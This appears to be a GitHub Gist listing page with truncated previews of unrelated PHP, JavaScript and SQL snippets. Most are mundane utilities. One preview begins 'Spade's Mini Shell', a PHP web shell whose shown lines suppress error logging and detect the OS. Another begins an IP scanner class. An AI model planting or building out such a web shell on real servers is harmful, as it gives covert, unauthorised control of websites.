Skip to content

Instantly share code, notes, and snippets.

<?php
$array = [0 => "a", 1 => "b", 2 => "c"];
\unset($array[1]);
//↑ Key which you want to delete
?>
<?php
/*
Description:
This function returns the duration of the given time period in days, hours, minutes and seconds. For example: echo convertSecToStr('654321'); would return "7 days, 13 hours, 45 minutes, 21 seconds"
Source: http://www.apphp.com/index.php?snippet=php-convert-seconds-into-time-string
*/
function convertSecToStr($secs){
$output = '';
<?php
/**
* Auction bid
* bid.php template for Enfold theme to fix double plus / minus button issue
*
* usage: copy this template file to your_theme/wooocommerce/single-product/bid.php
*/
if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly
<?php $r1 = rand(3, 9); $r2 = rand(1, 99); $rand = $r1.'.'.$r2.'MB'; $rr1 = rand(3, 9); $rr2 = rand(1, 99); $rand2 = $rr1.':'.$rr2.' min'; ?>
<?php
error_reporting(0);
/**
*
*/
class Ipscanner
{
var $timeout;
function banner(){
echo "------------------------------------\r\n";
<?php
// Spade's Mini Shell
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('display_errors', 0);
@error_reporting(0);
@error_log(false);
$slash = '/';
if(strtolower(substr(PHP_OS,0,3))=='win'){ $os = 'win'; $slash = '\\'; $ox = "Windows";}else{ $os = "nix"; $ox = "Linux"; }
function sanitize($object){
<?php
$a = 1;
while ($a <= 20) {
echo "Hello $a<br> ";
$a += 4;
}
for ($i = 1; $i <=5; $i++) {
<?php
error_reporting(E_ALL);
/*
* * * * * *
* ORIGINAL CODER:
app.use('/get-favorites-info', (req, res, next) => {
if (!req.session.likeItems){
req.session.likeItems = {}
}
const { id } = req.body || {}
if (id) {
req.session.likeItems[id] = id
}
DELETE posts
FROM posts
INNER JOIN projects ON projects.project_id = posts.project_id
WHERE projects.client_id = :client_id